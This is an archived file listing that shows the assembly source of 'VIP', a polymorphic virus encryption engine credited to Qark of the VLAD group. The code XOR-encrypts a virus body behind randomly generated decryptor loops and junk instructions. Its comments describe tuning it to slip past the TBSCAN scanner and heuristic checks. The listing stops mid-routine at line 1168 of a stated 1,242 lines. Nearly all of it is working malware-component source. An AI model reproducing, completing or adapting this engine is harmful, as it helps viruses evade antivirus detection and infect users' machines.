home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / VIP.ZIP / VIP10.ASM
Encoding:
Assembly Source File  |  1996-02-03  |  29.8 KB  |  1,242 lines

  1.  
  2. ;
  3. ;               VLAD Infinite Polymorphic - VIP
  4. ;               by Qark - VLAD
  5. ;
  6. ; This engine is good in some respects, and poor in others.
  7. ; The encryption it creates is fairly easy to crack, being a looping
  8. ; xor with a keychange (all registers/values chosen at random),
  9. ; but the encryption loops are very hard to detect.  There are four
  10. ; different loop types, of which TBSCAN can only find two.
  11. ;
  12. ; At the start of the decryptor, the engine won't produce some instructions
  13. ; that flag heuristics.  For this reason, VIP avoids alot of the heuristic
  14. ; problems most other garbage generators have.  For example:
  15. ;  Doesn't produce INC/DEC in the first 20 bytes to avoid flags.
  16. ;  Doesn't produce memory operations in the first 10 bytes.
  17. ;  Doesn't produce XCHG in the first 10 bytes.
  18. ;  Always uses the short version of instructions (AX/AL Imm etc)
  19. ;
  20. ; One problem that couldn't be avoided is the creation of FFFF word pointers
  21. ; causing crashes.  The likelihood of them occurring is low (about 1 in 300
  22. ; samples) because danger instructions have been put to a minimum. 
  23. ; (eg mov ax,[bx-1] bx=0, isn't produced anymore).
  24. ;
  25. ; If you're wondering why the polymorphism produced isn't changing, that's
  26. ; because it's an example of slow polymorphism.
  27. ;
  28. ; To assemble, use it as an include file for the program that calls it.
  29. ;
  30.  
  31.  
  32. VIP:
  33. ;On entry:
  34. ;       AL    = 1 if COM file
  35. ;       DS:SI = Points to the unencrypted virus
  36. ;       ES:DI = Place to store encrypted virus
  37. ;       CX    = length of virus
  38. ;       BP    = delta offset
  39. ;    Assumes CS=DS=ES
  40. ;On return:
  41. ;       CX    = length of decryptor + encrypted code
  42.  
  43.         cld
  44.         mov     word ptr saved_cx,cx
  45.         mov     word ptr saved_di,di
  46.         mov     word ptr saved_si,si
  47.         mov     byte ptr segtype,al
  48.         mov     byte ptr inloop,0               ;Initialise variable
  49.  
  50.         ;Initialise our randomisation for slow polymorphism.
  51.         call    init_rand
  52.  
  53.         ;Clear the register table
  54.  
  55.         call    unmark_all
  56.  
  57.         ;Clear the displacements
  58.         call    clear_displacement
  59.  
  60.         ;Select a random decryption type.
  61. rand_routine:
  62.         call    get_rand
  63.         mov     si,offset dec_type
  64.         and     ax,3*2
  65.         add     si,ax
  66.         mov     ax,word ptr [si]
  67.         jmp     ax
  68.  
  69. Standard:
  70. ;Uses 'standard' encryption.
  71. ; ----This is a basic layout of the decryptor----
  72. ;       mov     pointer,offset virus_start
  73. ;       mov     cipher,xorval
  74. ;     loop:
  75. ;       xor     word ptr pointer,cipher
  76. ;       inc     pointer
  77. ;       inc     pointer
  78. ;       cmp     pointer,virus_start+virlength
  79. ;       jne     loop
  80. ;     virus_start:
  81. ; -----------------------------------------------
  82.  
  83.         call    startup                 ;Setup pointer and cipher
  84.  
  85.         mov     byte ptr inloop,1
  86.         mov     word ptr loopstart,di
  87.  
  88.         call    encrypt_type
  89.  
  90.         or      al,0f8h
  91.         mov     ah,al
  92.         mov     al,81h                  ;CMP pointer,xxxx
  93.         stosw
  94.  
  95.         call    round_up
  96.         add     ax,word ptr pointer1val
  97.         stosw
  98.  
  99.         call    handle_jne              ;JNE xx
  100.         call    calc_jne
  101.  
  102.         mov     byte ptr inloop,0
  103.  
  104.         ;Calculate the displacement
  105.         call    fix_displacements
  106.  
  107.         call    encrypt_virus
  108.  
  109.         call    decryptor_size
  110.  
  111.         ret
  112.  
  113. Stack1:
  114. ;Use the stack method for encryption.  This method doesnt work on EXE's
  115. ;because SS <> CS.
  116. ; ----This is a basic layout of the decryptor----
  117. ;       mov     sp,offset virus_start
  118. ;       mov     cipher,xor_val
  119. ;     loop:
  120. ;       pop     reg
  121. ;       xor     reg,cipher
  122. ;       push    reg
  123. ;       pop     randomreg
  124. ;       cmp     sp,virus_start+virus_length
  125. ;       jne     loop
  126. ; -----------------------------------------------
  127.  
  128.         cmp     byte ptr segtype,0
  129.         jne     stack1_ok
  130.         jmp     rand_routine
  131. stack1_ok:
  132.         call    rand_garbage
  133.         call    rand_garbage
  134.         mov     al,0bch         ;MOV SP,xxxx
  135.         stosb
  136.         mov     word ptr displace,di
  137.         mov     ax,bp
  138.         stosw
  139.  
  140.         call    setup_cipher
  141.         
  142.         mov     byte ptr inloop,1
  143.         mov     word ptr loopstart,di
  144.  
  145.         call    select_reg
  146.         call    rand_garbage
  147.         push    ax
  148.         or      al,58h                  ;POP reg
  149.         stosb
  150.         call    rand_garbage
  151.  
  152.         mov     al,33h                  ;XOR reg,reg
  153.         stosb
  154.  
  155.         pop     ax
  156.         push    ax
  157.         push    cx
  158.         mov     cl,3
  159.         shl     al,3
  160.         or      al,byte ptr cipher
  161.         or      al,0c0h
  162.         stosb
  163.         pop     cx
  164.  
  165.         call    rand_garbage
  166.         
  167.         pop     ax
  168.         or      al,50h          ;PUSH reg
  169.         stosb
  170.  
  171.         call    rand_garbage
  172. next_pop:
  173.         call    get_rand
  174.         call    check_reg
  175.         jc      next_pop
  176.         and     al,7
  177.         or      al,58h          ;POP reg  (=add sp,2)
  178.         stosb
  179.         
  180.         call    rand_garbage
  181.  
  182.         mov     ax,0fc81h               ;CMP SP,xxxx
  183.         stosw
  184.         mov     word ptr displace2,di
  185.         
  186.         call    round_up
  187.         add     ax,bp
  188.         stosw
  189.  
  190.         call    handle_jne
  191.         call    calc_jne
  192.  
  193.         mov     byte ptr inloop,0
  194.  
  195.         mov     al,0bch         ;mov sp,0fffeh
  196.         stosb
  197.         mov     ax,0fffeh
  198.         stosw
  199.  
  200.         call    rand_garbage
  201.  
  202.         ;Calculate the displacement
  203.         call    fix_displacements
  204.  
  205.         mov     si,word ptr saved_si
  206.         mov     cx,word ptr saved_cx
  207.         inc     cx
  208.         shr     cx,1
  209.         mov     bx,word ptr xorval
  210. enc_stack1:
  211.         lodsw
  212.         xor     ax,bx
  213.         stosw
  214.         loop    enc_stack1
  215.  
  216.         call    decryptor_size
  217.  
  218.         ret
  219.  
  220. Call_Enc:
  221. ;Uses recursive calls to decrypt the virus.  Needs a big stack or else it will
  222. ;crash.
  223. ; ----This is a basic layout of the decryptor----
  224. ;       mov     pointer,offset virus_start
  225. ;       mov     cipher,xorval
  226. ;     loop:
  227. ;       cmp     pointer,virus_start+virus_length
  228. ;       jne     small_dec
  229. ;       ret
  230. ;     small_dec:
  231. ;       xor     word ptr pointer,cipher
  232. ;       inc     pointer
  233. ;       inc     pointer
  234. ;       call    loop
  235. ;       add     sp,virus_length-2
  236. ; -----------------------------------------------
  237.  
  238.         call    startup
  239.         
  240.         mov     byte ptr inloop,1
  241.  
  242.         mov     word ptr loopback,di
  243.         call    rand_garbage
  244.  
  245.         mov     al,byte ptr pointer
  246.         or      al,0f8h
  247.         mov     ah,al
  248.         mov     al,81h                  ;CMP pointer,xxxx
  249.         stosw
  250.         
  251.         call    round_up
  252.         add     ax,word ptr pointer1val
  253.         stosw
  254.  
  255.         call    handle_jne
  256.  
  257.         mov     word ptr loopf,di
  258.         stosb
  259.  
  260.         call    rand_garbage
  261.  
  262.         mov     al,0c3h                 ;RET
  263.         stosb
  264.         
  265.         call    rand_garbage
  266.  
  267.         mov     ax,di                   ;Fix the JNE.
  268.         mov     si,word ptr loopf
  269.         inc     si
  270.         sub     ax,si
  271.         dec     si
  272.         mov     byte ptr [si],al
  273.         
  274.         call    encrypt_type
  275.  
  276.         mov     al,0e8h                 ;CALL xxxx
  277.         stosb
  278.         mov     ax,di
  279.         inc     ax
  280.         inc     ax
  281.         sub     ax,word ptr loopback
  282.         neg     ax
  283.         stosw
  284.  
  285.         mov     byte ptr inloop,0
  286.  
  287.         call    rand_garbage
  288.  
  289.         mov     ax,0c481h
  290.         stosw
  291.         mov     ax,word ptr saved_cx
  292.         dec     ax
  293.         dec     ax
  294.         stosw
  295.  
  296.         call    rand_garbage
  297.  
  298.         ;Calculate the displacement
  299.         call    fix_displacements
  300.         
  301.         call    encrypt_virus
  302.         
  303.         call    decryptor_size
  304.  
  305.         ret
  306.  
  307. Call_Enc2:
  308. ;Decrypts the virus from within a call.
  309. ; ----This is a basic layout of the decryptor----
  310. ;       mov     pointer,offset virus_start
  311. ;       mov     cipher,xorval
  312. ;       call    decrypt
  313. ;       jmp     short virus_start
  314. ;     decrypt:
  315. ;       xor     pointer,cipher
  316. ;       inc     pointer
  317. ;       inc     pointer
  318. ;       cmp     pointer,virus_start+viruslength
  319. ;       jne     decrypt
  320. ;       ret
  321. ; -----------------------------------------------
  322.  
  323.         call    startup
  324.  
  325.         mov     byte ptr inloop,1
  326.  
  327.         mov     al,0e8h                 ;CALL xxxx
  328.         stosb
  329.         stosw
  330.         mov     word ptr loopf16,di
  331.         
  332.         call    rand_garbage
  333.  
  334.         mov     al,0e9h                 ;JMP xxxx
  335.         stosb
  336.         mov     word ptr displace2,di
  337. ;        mov     ax,di
  338. ;        inc     ax
  339. ;        inc     ax
  340. ;        sub     ax,saved_di
  341. ;        neg     ax
  342.         stosw
  343.  
  344.         call    rand_garbage
  345.         call    rand_garbage
  346.  
  347.         mov     ax,di
  348.         mov     si,word ptr loopf16
  349.         sub     ax,si
  350.         mov     word ptr [si-2],ax
  351.  
  352.         mov     word ptr loopstart,di
  353.  
  354.         call    encrypt_type
  355.         
  356.         or      al,0f8h
  357.         mov     ah,al
  358.         mov     al,81h          ;CMP pointer,xxxx
  359.         stosw
  360.  
  361.         call    round_up
  362.         add     ax,word ptr pointer1val
  363.         stosw
  364.  
  365.         call    handle_jne
  366.         call    calc_jne
  367.  
  368.         mov     al,0c3h                 ;ret
  369.         stosb
  370.  
  371.         mov     byte ptr inloop,0
  372.  
  373.         call    rand_garbage
  374.  
  375.         mov     ax,di
  376.         mov     si,word ptr displace2
  377.         sub     ax,si
  378.         dec     ax
  379.         dec     ax
  380.         mov     [si],ax
  381.         mov     word ptr displace2,0
  382.  
  383.         call    rand_garbage
  384.  
  385.         ;Calculate the displacement
  386.         call    fix_displacements
  387.         
  388.         call    encrypt_virus
  389.         
  390.         call    decryptor_size
  391.  
  392.         ret
  393.  
  394.         db      'VIP V1.0 by Qark/VLAD'
  395.  
  396.  
  397. ;All the different encryption types
  398. dec_type        dw      offset stack1
  399.                 dw      offset call_enc
  400.                 dw      offset call_enc2
  401.                 dw      offset standard
  402.  
  403. segtype         db      0       ;1 if com file
  404. saved_cx        dw      0       ;the initial CX
  405. saved_di        dw      0       ;the initial DI
  406. saved_si        dw      0
  407.  
  408. displace        dw      0
  409. displace2       dw      0
  410.                 dw      0
  411.  
  412. displaceb       dw      0
  413.  
  414. inloop          db      0       ;=1 if inside a loop else 0
  415.                                 ;if set no 'word ptr' instructions made
  416. loopstart       dw      0       ;for backwards 8 bit
  417. loopf           dw      0       ;for forwards 8 bit
  418. loopback        dw      0       ;backwards 16 bit
  419. loopf16         dw      0       ;forwards 16 bit
  420. xorval          dw      0
  421.  
  422. cipher          db      0
  423.  
  424. r_m             db      0       ;The r-m of the pointer
  425.  
  426. ;───────────────────────────────────────────────────────
  427. ;General routines, used universally
  428. ;───────────────────────────────────────────────────────
  429. Check_Reg:
  430. ;Returns a carry if the register in lower 3 bits of al is bad
  431.         push    ax
  432.         push    si
  433.         and     ax,7
  434.         mov     si,offset reg
  435.         add     si,ax
  436.         cmp     byte ptr [si],0
  437.         pop     si
  438.         pop     ax
  439.         je      ok_reg
  440.         stc
  441.         ret
  442. ok_reg:
  443.         clc
  444.         ret
  445.         ;       ax,cx,dx,bx,sp,bp,si,di
  446. reg     db      00,00,00,00,01,00,00,00
  447.  
  448. Mark_Reg:
  449. ;Mark a register as used, AL=reg
  450.         push    ax
  451.         push    si
  452.         and     ax,7
  453.         mov     si,offset reg
  454.         add     si,ax
  455.         mov     byte ptr [si],1
  456.         pop     si
  457.         pop     ax
  458.         ret
  459.  
  460. UnMark_All:
  461. ;Clears the register table, and sets SP
  462.         push    ax
  463.         push    di
  464.         push    cx
  465.         mov     di,offset reg
  466.         mov     al,0
  467.         mov     cx,8
  468.         cs:
  469.         rep     stosb
  470.         mov     byte ptr cs:[reg+4],1      ;set sp
  471.         pop     cx
  472.         pop     di
  473.         pop     ax
  474.         ret
  475.  
  476. Clear_Displacement:
  477. ;Clears all the displacement variables
  478.         push    di
  479.         push    ax
  480.         mov     di,offset displace
  481.         xor     ax,ax
  482.         stosw
  483.         stosw
  484.         stosw
  485.         stosw
  486.         stosw
  487.         pop     ax
  488.         pop     di
  489.         ret
  490.  
  491. Select_Pointer:
  492. ;Select an r-m as a pointer, you must call this routine before reserving
  493. ;any registers.  Updates the variable r_m.
  494.         push    ax
  495.         push    si
  496.         call    get_rand
  497.         and     ax,7
  498.         mov     byte ptr r_m,al
  499.  
  500.         call    index_2_pointer
  501.         mov     al,byte ptr [si]
  502.         call    mark_reg
  503.         inc     si
  504.         mov     al,byte ptr [si]
  505.         cmp     al,0
  506.         je      no_pointer2
  507.         call    mark_reg
  508. no_pointer2:
  509.         pop     si
  510.         pop     ax
  511.         ret
  512.  
  513. Setup_Pointer:
  514. ;Sets up the registers specified in the r-m with random values.  These
  515. ;values are put into the variable 'pointval'.
  516. ;Moves the instructions into ES:DI.
  517.         push    ax
  518.         push    si
  519.  
  520.         call    rand_garbage
  521.  
  522.         call    index_2_pointer
  523.         mov     al,byte ptr [si]
  524.         mov     byte ptr pointer,al
  525.         or      al,0b8h                 ;MOV REG,xxxx
  526.         stosb
  527.         call    get_rand
  528.         stosw
  529.         mov     word ptr pointval,ax
  530.         mov     word ptr pointer1val,ax
  531.  
  532.         call    rand_garbage
  533.  
  534.         mov     al,byte ptr [si+1]
  535.         cmp     al,0
  536.         je      no_setupp2
  537.  
  538.         or      al,0b8h                 ;MOV REG,xxxx
  539.         stosb
  540.  
  541.         call    get_rand
  542.         stosw
  543.         add     word ptr pointval,ax
  544.  
  545.         call    rand_garbage
  546.  
  547. no_setupp2:
  548.  
  549.         pop     si
  550.         pop     ax
  551.         ret
  552.  
  553. Index_2_Pointer:
  554. ;Sets SI to the 'pointers' table of the r_m
  555.         push    ax
  556.         xor     ax,ax
  557.         mov     al,byte ptr r_m
  558.         shl     ax,1
  559.         mov     si,offset pointers
  560.         add     si,ax
  561.         pop     ax
  562.         ret
  563.  
  564. pointer         db      0               ;the first register
  565. pointer1val     dw      0               ;the value of the first register
  566. pointval        dw      0
  567. Pointers        db      3,6     ;[bx+si]
  568.                 db      3,7     ;[bx+di]
  569.                 db      5,6     ;[bp+si]
  570.                 db      5,7     ;[bp+di]
  571.                 db      6,0     ;[si]
  572.                 db      7,0     ;[di]
  573.                 db      5,0     ;[bp]
  574.                 db      3,0     ;[bx]
  575.  
  576. Select_Reg:
  577. ;Reserves a random register, and passes it out in AL
  578. ;AH is destroyed
  579.         call    get_rand
  580.         call    check_reg
  581.         jc      select_reg
  582.         and     al,7
  583.         call    mark_reg
  584.         ret
  585.  
  586. Setup_Reg:
  587. ;Puts the value specified in BX, into the register specified in AL.
  588. ;-Needs Fixing- to add a possible SUB, and also the garbage generation needs
  589. ;to produce the same add/sub opcodes.
  590.  
  591.         push    ax
  592.         push    bx
  593.  
  594.         call    rand_garbage
  595.  
  596.         and     al,7
  597.         push    ax
  598.         or      al,0b8h         ;MOV reg,xxxx
  599.         stosb
  600.         
  601.         call    get_rand
  602.  
  603.         sub     bx,ax
  604.         stosw
  605.  
  606.         call    rand_garbage
  607.  
  608.         pop     ax
  609.         cmp     al,0
  610.         jne     long_addreg
  611.         mov     al,5            ;ADD AX,xxxx
  612.         stosb
  613.         jmp     short finish_add
  614. long_addreg:
  615.         or      al,0c0h
  616.         mov     ah,al
  617.         mov     al,81h
  618.         stosw                   ;ADD reg,xxxx
  619. finish_add:
  620.         mov     ax,bx
  621.         stosw
  622.         
  623.         call    rand_garbage
  624.  
  625.         pop     bx
  626.         pop     ax
  627.         ret
  628.  
  629. Seg_Override:
  630. ;Puts the correct segment before a memory write.  The memory write must be
  631. ;called immediately afterwards.
  632.         push    ax
  633.         cmp     byte ptr segtype,1
  634.         je      no_segset
  635.         mov     al,2eh          ;CS:
  636.         stosb
  637. no_segset:
  638.         pop     ax
  639.         ret
  640.  
  641. Fix_Pointer:
  642. ;Fixes up the mod/rm field of a pointer instruction.  Before this routine
  643. ;is called, the opcode field has already been stosb'd. eg for xor, 31h has
  644. ;been put into the current es:[di-1].
  645. ;on entry AL=register
  646. ;The displacement field (the following 2 bytes) must be fixed up manually.
  647.  
  648.         push    ax
  649.         push    bx
  650.         push    cx
  651.  
  652.         mov     cl,3
  653.         shl     al,cl
  654.         or      al,byte ptr r_m
  655.         or      al,80h
  656.         stosb
  657.  
  658.         pop     cx
  659.         pop     bx
  660.         pop     ax
  661.         ret
  662.  
  663. Dec_Inc_Reg:
  664. ;Inc/Dec's the reg in AL. AH= 0=inc 1=dec
  665. ;No garbage generators are called in this routine, because the flags
  666. ;may be important.
  667.         push    ax
  668.         mov     byte ptr dec_inc,ah
  669.         call    get_rand
  670.         test    al,1
  671.         pop     ax
  672.         push    ax
  673.         jnz     do_inc_dec
  674.         cmp     al,0            ;check for ax
  675.         jne     not_ax_incdec
  676.         mov     ax,0ff05h       ;ADD AX,ffff  = DEC AX
  677.         cmp     byte ptr dec_inc,0
  678.         jne     fdec1
  679.         mov     al,2dh          ;SUB
  680. fdec1:
  681.         stosw
  682.         mov     al,0ffh
  683.         stosb
  684.         pop     ax
  685.         ret
  686. not_ax_incdec:
  687.         cmp     byte ptr dec_inc,0
  688.         je      fdec2
  689.         or      al,0c0h
  690.         jmp     short fdec3
  691. fdec2:
  692.         or      al,0e8h
  693. fdec3:
  694.         mov     ah,al
  695.         mov     al,83h          ;ADD reg,ffff = DEC reg
  696.         stosw
  697.         mov     al,0ffh
  698.         stosb
  699.         pop     ax
  700.         ret
  701. do_inc_dec:
  702.         or      al,40h          ;INC reg
  703.         cmp     byte ptr dec_inc,0
  704.         je      fdec4
  705.         or      al,8
  706. fdec4:
  707.         stosb
  708.         pop     ax
  709.         ret
  710. dec_inc db      0               ;0=inc 1=dec
  711.  
  712. Round_Up:
  713. ;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX.
  714.         mov     ax,word ptr saved_cx
  715.         inc     ax
  716.         shr     ax,1
  717.         shl     ax,1
  718.         mov     word ptr saved_cx,ax
  719.         ret
  720.  
  721. Fix_Displacements:
  722. ;Adds the size of the produced decyptors to the data listed in the
  723. ;displacement variables. 0 Values signal the end.
  724. ;DI=The final length of the 'decryptor'
  725.  
  726.         push    ax
  727.         push    si
  728.         
  729.         mov     ax,di
  730.         sub     ax,word ptr saved_di
  731.         push    di
  732.         mov     si,offset displace
  733. disp_loop:
  734.         cmp     word ptr [si],0
  735.         je      last_displacement
  736.         mov     di,[si]
  737.         add     [di],ax
  738.         inc     si
  739.         inc     si
  740.         jmp     short disp_loop
  741. last_displacement:
  742.         pop     di
  743.         pop     si
  744.         pop     ax
  745.         ret
  746.  
  747. Rand_Garbage:
  748. ;Generates 1-4 garbage instructions.
  749.         push    ax
  750.         call    get_rand
  751.         and     ax,07h
  752.         push    cx
  753.         mov     cx,ax
  754.         inc     cx
  755. start_garbage:
  756.         call    select_garbage
  757.         loop    start_garbage
  758.         pop     cx
  759.         pop     ax
  760.         ret
  761.  
  762. Select_Garbage:
  763. ;Selects a garbage routine to goto
  764.         
  765.         call    get_rand
  766.         and     ax,14
  767.         push    si
  768.         mov     si,offset calls
  769.         add     si,ax
  770.         mov     ax,word ptr [si]
  771.         pop     si
  772.         jmp     ax
  773.  
  774. calls   dw      offset Make_Inc_Dec
  775.         dw      offset Imm2Reg
  776.         dw      offset Rand_Instr
  777.         dw      offset Mov_Imm
  778.         dw      offset Make_Xchg
  779.         dw      offset Rand_Instr
  780.         dw      offset Mov_Imm
  781.         dw      offset Imm2Reg
  782.  
  783. Make_Inc_Dec:
  784. ;Puts a word INC/DEC in ES:DI
  785. ;eg INC  AX
  786. ;   DEC  BP
  787.  
  788.         mov     ax,di
  789.         sub     ax,word ptr saved_di
  790.         cmp     ax,15
  791.         ja      not_poly_start          ;inc/dec in the first 20 bytes, flags
  792.         ret
  793. not_poly_start:
  794.         call    get_rand
  795.         call    check_reg
  796.         jc      make_inc_dec
  797.         and     al,0fh
  798.         or      al,40h
  799.         
  800.         test    al,8
  801.         jnz     calc_dec
  802.  
  803.         stosb
  804.         ret
  805. calc_dec:
  806.         mov     ah,al
  807.         and     al,7
  808.         cmp     al,2
  809.         ja      Make_Inc_Dec
  810.         mov     al,ah
  811.         stosb
  812.         ret
  813.  
  814. Fix_Register:
  815. ;AX=random byte, where the expected outcome is ah=opcode al=mod/rm
  816. ;Carry is set if bad register.  Word_Byte is updated to show word/byte.
  817.         test    ah,1
  818.         jnz     word_garbage
  819.         mov     byte ptr word_byte,0
  820.         call    check_breg
  821.         jmp     short byte_garbage
  822. word_garbage:
  823.         mov     byte ptr word_byte,1
  824.         call    check_reg
  825. byte_garbage:
  826.         ret        
  827. word_byte       db      0       ;1=word, 0 = byte
  828.  
  829.  
  830. Imm2Reg:
  831. ;Immediate to register.
  832.         call    get_rand
  833.         call    fix_register
  834.         jc      imm2reg
  835.         test    al,7            ;AX/AL arent allowed (causes heuristics)
  836.         jz      imm2ax
  837.         xchg    al,ah
  838.         and     al,3
  839.         cmp     al,2            ;signed byte is bad
  840.         je      imm2reg
  841.         or      al,80h
  842.         or      ah,0c0h
  843.         stosw
  844.         test    al,2            ;signed word
  845.         jnz     ione_stosb
  846.         call    get_rand
  847.         cmp     byte ptr word_byte,1
  848.         jne     ione_stosb
  849.         stosb
  850. ione_stosb:
  851.         call    get_rand
  852.         stosb
  853.         ret
  854. imm2ax:
  855.         xchg    ah,al
  856.         and     al,3dh
  857.         or      al,4
  858.         stosw
  859.         test    al,1
  860.         jnz     ione_stosb
  861.         ret
  862.  
  863. Rand_Instr:
  864. ;Creates a whole stack of instructions.
  865. ;and,or,xor,add,sub,adc,cmp,sbb
  866.  
  867.         mov     ax,di
  868.         sub     ax,word ptr saved_di
  869.         cmp     ax,10
  870.         ja      not_poly_start2         ;in the first 20 bytes, flags G
  871.         ret
  872. not_poly_start2:
  873.         call    get_rand
  874.         ;Inloop stops xxx xx,word ptr [xxxx] instructions inside the
  875.         ;loops.  It changes them to 'byte ptr' which stops the ffff crash
  876.         ;problem.
  877.         cmp     byte ptr inloop,1
  878.         jne     ok_words
  879.         and     ah,0feh
  880. ok_words:
  881.         call    fix_register
  882.         jc      rand_instr
  883.         push    cx
  884.         mov     cl,3
  885.         rol     al,cl
  886.         pop     cx
  887.         xchg    ah,al
  888.         and     al,039h
  889.         or      al,2            ;set direction flag
  890.         stosb
  891.         mov     al,ah
  892.         and     al,0c0h
  893.         cmp     al,0c0h
  894.         je      zerobytedisp
  895.         cmp     al,0
  896.         je      checkdisp
  897.         cmp     al,80h
  898.         je      twobytedisp
  899.         ;sign extended
  900.         mov     al,ah
  901.         stosb
  902. negative_value:
  903.         call    get_rand
  904.         cmp     al,0ffh
  905.         je      negative_value
  906.         stosb
  907.         ret
  908. twobytedisp:
  909.         mov     al,ah
  910.         stosb
  911.         call    get_rand
  912.         stosw
  913.         ret
  914. checkdisp:
  915.         push    ax
  916.         and     ah,7
  917.         cmp     ah,6
  918.         pop     ax
  919.         je      twobytedisp
  920. zerobytedisp:
  921.         mov     al,ah
  922.         stosb
  923.         ret
  924.  
  925. Mov_Imm:
  926. ;Puts a MOV immediate instruction.
  927.         call    get_rand
  928.         test    al,8
  929.         jnz     word_mov
  930.         call    check_breg
  931.         jmp     short mov_check
  932. word_mov:
  933.         call    check_reg
  934. mov_check:
  935.         jc      mov_imm
  936.         and     al,0fh
  937.         or      al,0b0h
  938.         stosb
  939.         test    al,8
  940.         jnz     mov_word
  941.         call    get_rand
  942.         stosb
  943.         ret
  944. mov_word:
  945.         call    get_rand
  946.         stosw
  947.         ret
  948.  
  949. Init_Rand:
  950. ;Initialises the Get_Rand procedure.
  951.         push    ax
  952.         push    cx
  953.         push    dx
  954.         push    si
  955.         push    ds
  956.         mov     si,1
  957.         mov     ax,0ffffh               ;Get word from ROM BIOS.
  958.         mov     ds,ax
  959.         mov     ax,word ptr [si]
  960.         pop     ds
  961.         mov     word ptr randseed,ax
  962.         call    get_rand
  963.         push    ax
  964.         mov     ah,2ah                  ;Get Date.
  965.         int 21h ;call   int21h
  966.         pop     ax
  967.         add     ax,cx
  968.         xor     ax,dx
  969.         mov     word ptr randseed,ax
  970.         call    get_rand
  971.         pop     si
  972.         pop     dx
  973.         pop     cx
  974.         pop     ax
  975.         ret
  976.  
  977. Get_Rand:
  978. ;Gets a random number in AX.
  979.         push    cx
  980.         push    dx
  981.         mov     ax,word ptr randseed
  982.         mov     cx,ax
  983.         mov     dx,ax
  984.         and     cx,1ffh
  985.         or      cl,01fh
  986. propogate:
  987.         add     dx,ax
  988.         mul     dx
  989.         add     ax,4321h
  990.         neg     ax
  991.         ror     dx,1
  992.         loop    propogate
  993.         mov     word ptr randseed,ax
  994.         
  995.         pop     dx
  996.         pop     cx
  997.         ret
  998. randseed        dw      0
  999.  
  1000. Make_Xchg:
  1001.         mov     ax,di
  1002.         sub     ax,word ptr saved_di
  1003.         cmp     ax,10
  1004.         ja      not_poly_start3         ;inc/dec in the first 20 bytes, flags
  1005.         ret
  1006. not_poly_start3:
  1007.  
  1008.         call    get_rand
  1009.         call    fix_register
  1010.         jc      make_xchg
  1011.         push    cx
  1012.         mov     cl,3
  1013.         rol     al,cl
  1014.         pop     cx
  1015.         call    fix_register
  1016.         jc      make_xchg
  1017.         test    ah,1
  1018.         jz      xchg_8bit
  1019.         test    al,7
  1020.         jz      xchg_ax2
  1021.         test    al,38h
  1022.         jz      xchg_ax1
  1023. xchg_8bit:
  1024.         and     ax,13fh
  1025.         or      ax,86c0h
  1026.         xchg    ah,al
  1027.         stosw
  1028.         ret
  1029. xchg_ax1:
  1030.         and     al,7
  1031.         or      al,90h
  1032.         stosb
  1033.         ret
  1034. xchg_ax2:
  1035.         push    cx
  1036.         mov     cl,3
  1037.         ror     al,cl
  1038.         pop     cx
  1039.         jmp     short xchg_ax1
  1040.  
  1041. Check_bReg:
  1042. ;Checks if an 8bit reg is used or not.
  1043. ;AL=register
  1044.         push    ax
  1045.         and     al,3
  1046.         call    check_reg
  1047.         pop     ax
  1048.         ret
  1049.  
  1050. Decryptor_Size:
  1051. ;Calculate the size of the decryptor + code
  1052. ;Entry: DI=everything done
  1053. ;Exit : CX=total decryptor length
  1054.  
  1055.         mov     cx,di
  1056.         sub     cx,word ptr saved_di
  1057.         ret
  1058.  
  1059. Setup_Cipher:
  1060. ;Randomly selects a cipher register and initialises it with a value.
  1061. ;Puts the register into the variable 'cipher' and the value into 'xorval'
  1062.  
  1063.         call    rand_garbage
  1064.         call    get_rand
  1065.         mov     bx,ax
  1066.         mov     word ptr xorval,ax
  1067.         call    select_reg
  1068.         mov     byte ptr cipher,al
  1069.         call    setup_reg
  1070.         call    rand_garbage
  1071.         ret
  1072.  
  1073. Startup:
  1074. ;Does the most common startup procedures.  Puts some garbage, and sets
  1075. ;up the pointer register.
  1076.  
  1077.         call    rand_garbage
  1078.         call    rand_garbage
  1079.         call    select_pointer          ;Setup pointer
  1080.         call    setup_pointer
  1081.  
  1082.         call    setup_cipher
  1083.         ret
  1084.  
  1085. Handle_JNE:
  1086. ;Randomly puts either JNE or JB at ES:DI.
  1087. ;Must be called after the CMP instruction.
  1088.         push    ax
  1089.         push    si
  1090.  
  1091.         ;Test to make sure our pointer isnt going +ffff, if so, only use
  1092.         ;jne, not jnb.
  1093.         call    round_up
  1094.         add     ax,word ptr pointer1val
  1095.         jnc     random_jne
  1096.         mov     al,75h
  1097.         jmp     short unrandom_jne
  1098. random_jne:
  1099.  
  1100.         call    get_rand
  1101.         and     ax,1
  1102.         mov     si,offset jne_table
  1103.         add     si,ax
  1104.         mov     al,byte ptr [si]
  1105. unrandom_jne:
  1106.         stosb
  1107.         pop     si
  1108.         pop     ax
  1109.         ret
  1110.  
  1111. jne_table       db      75h     ;JNE/JNZ
  1112.                 db      72h     ;JB/JNAE
  1113.  
  1114. Calc_JNE:
  1115. ;Calculates the distance needed to JMP backwards and puts it into ES:DI.
  1116. ;On entry DI points to the byte after a JNE/JB instruction
  1117. ;         and 'loopstart' contains the offset of the loop.
  1118.  
  1119.         push    ax
  1120.         mov     ax,di
  1121.         inc     ax
  1122.         sub     ax,word ptr loopstart
  1123.         neg     al
  1124.         stosb
  1125.         call    rand_garbage
  1126.         pop     ax
  1127.         ret
  1128.  
  1129. Increase_Pointer:
  1130. ;Increases the register specified in 'pointer' by two.
  1131. ;On exit AL=pointer register.
  1132.  
  1133.         call    rand_garbage
  1134.         xor     ax,ax
  1135.         mov     al,byte ptr pointer
  1136.         call    dec_inc_reg
  1137.         call    rand_garbage
  1138.         call    dec_inc_reg
  1139.         call    rand_garbage
  1140.         ret
  1141.  
  1142. Encrypt_Type:
  1143. ;Selects the type of encryption and sets everything up.
  1144.         call    rand_garbage
  1145.         call    seg_override
  1146.  
  1147.         call    rand3
  1148.         mov     al,byte ptr [si+1]
  1149.         mov     byte ptr encbyte,al
  1150.  
  1151.         mov     al,byte ptr [si]        ;The instruction from 'enc_table'
  1152.         stosb
  1153.  
  1154.         mov     al,byte ptr cipher
  1155.         call    fix_pointer
  1156.         mov     word ptr displace,di
  1157.         
  1158.         mov     ax,bp
  1159.         sub     ax,word ptr pointval
  1160.         stosw
  1161.  
  1162.         call    rand_garbage
  1163.         
  1164.         call    rand3
  1165.         mov     al,byte ptr [si+2]
  1166.         or      al,0c3h
  1167.         mov     byte ptr encb2,al
  1168.         
